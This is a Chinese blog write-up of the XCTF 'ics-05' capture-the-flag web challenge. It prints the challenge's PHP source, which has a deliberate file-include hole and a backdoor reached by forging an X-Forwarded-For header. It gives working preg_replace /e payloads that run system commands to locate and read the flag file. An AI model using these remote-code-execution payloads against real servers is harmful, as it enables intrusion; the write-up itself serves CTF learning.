攻防世界 ics-05

f0njl

已于 2022-01-26 18:17:55 修改

阅读量929

点赞数

分类专栏：攻防世界文章标签： web

于 2022-01-26 18:16:08 首次发布

本文链接：https://blog.csdn.net/akxnxbshai/article/details/122706641

版权

攻防世界专栏收录该内容

3 篇文章 0 订阅

订阅专栏

ics-05

最佳Writeup由划水大队——Mke • Mke2fs提供

难度系数：

题目来源： XCTF 4th-CyberEarth

题目描述：其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

审题，打开网页后直接找到设备维修中心

点击一下云平台设备维修中心

发现上方GET进去了一个page，想到利用伪协议来得到全部的代码详情

Base64解密得到

<?php

error_reporting(0);


@session_start();

posix_setuid(1000);



?>

<!DOCTYPE HTML>

<html>


<head>

    <meta charset="utf-8">

    <meta name="renderer" content="webkit">

    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">

    <link rel="stylesheet" href="layui/css/layui.css" media="all">

    <title>设备维护中心</title>

    <meta charset="utf-8">

</head>


<body>

    <ul class="layui-nav">

        <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>

    </ul>

    <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">

        <legend>设备列表</legend>

    </fieldset>

    <table class="layui-hide" id="test"></table>

    <script type="text/html" id="switchTpl">

        <!-- 这里的 checked 的状态只是演示 -->

        <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>

    </script>

    <script src="layui/layui.js" charset="utf-8"></script>

    <script>

    layui.use('table', function() {

        var table = layui.table,

            form = layui.form;


        table.render({

            elem: '#test',

            url: '/somrthing.json',

            cellMinWidth: 80,

            cols: [

                [

                    { type: 'numbers' },

                     { type: 'checkbox' },

                     { field: 'id', title: 'ID', width: 100, unresize: true, sort: true },

                     { field: 'name', title: '设备名', templet: '#nameTpl' },

                     { field: 'area', title: '区域' },

                     { field: 'status', title: '维护状态', minWidth: 120, sort: true },

                     { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }

                ]

            ],

            page: true

        });

    });

    </script>

    <script>

    layui.use('element', function() {

        var element = layui.element; //导航的hover效果、二级菜单等功能，需要依赖element模块

        //监听导航点击

        element.on('nav(demo)', function(elem) {

            //console.log(elem)

            layer.msg(elem.text());

        });

    });

    </script>


<?php


$page = $_GET[page];


if (isset($page)) {




if (ctype_alnum($page)) {

?>


    <br /><br /><br /><br />

    <div style="text-align:center">

        <p class="lead"><?php echo $page; die();?></p>

    <br /><br /><br /><br />


<?php


}else{


?>

        <br /><br /><br /><br />

        <div style="text-align:center">

            <p class="lead">

                <?php


                if (strpos($page, 'input') > 0) {

                    die();

                }


                if (strpos($page, 'ta:text') > 0) {

                    die();

                }


                if (strpos($page, 'text') > 0) {

                    die();

                }


                if ($page === 'index.php') {

                    die('Ok');

                }

                    include($page);

                    die();

                ?>

        </p>

        <br /><br /><br /><br />


<?php

}}



//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试


if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {


    echo "<br >Welcome My Admin ! <br >";


    $pattern = $_GET[pat];

    $replacement = $_GET[rep];

    $subject = $_GET[sub];


    if (isset($pattern) && isset($replacement) && isset($subject)) {

        preg_replace($pattern, $replacement, $subject);

    }else{

        die();

    }


}






?>

</body>


</html>

主要观察最后一部分代码

<?php

}}



//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试


if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {


    echo "<br >Welcome My Admin ! <br >";


    $pattern = $_GET[pat];

    $replacement = $_GET[rep];

    $subject = $_GET[sub];


    if (isset($pattern) && isset($replacement) && isset($subject)) {

        preg_replace($pattern, $replacement, $subject);

    }else{

        die();

    }


}

?>

语法：

preg_replace 函数执行一个正则表达式的搜索和替换。

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分，以 replacement 进行替换。

并且PHP 的 preg_replace()函数存在一个安全问题：

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示：要确保 replacement 构成一个合法的 PHP 代码字符串，否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

抓包然后一步一步来,绕过空格可以用%20、%06、+代替

方法一：（用find来直接查找flag）

?pat=/123/e&rep=system("find+-iname+flag")&sub=123

?pat=/123/e&rep=system("cd+./s3chahahaDir/flag%26%26ls")&sub=123

?pat=/12/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=12

方法二：（先查看当前目录，然后一直往下进行）

?pat=/12/e&rep=system("ls")&sub=12

看到其中的s3chahahaDir，于是进入s3chahahaDir目录然后再ls，

f0njl

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
打赏
0
评论
攻防世界 ics-05

ics-05最佳Writeup由划水大队——Mke • Mke2fs提供难度系数：题目来源： XCTF 4th-CyberEarth题目描述：其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统审题，打开网页后直接找到设备维修中心点击一下云平台设备维修中心发现上方GET进去了一个page，想到利用伪协议来得到全部的代码详情Base64解密得到<?phperror_reporting(0);@session_start();posix.
复制链接

扫一扫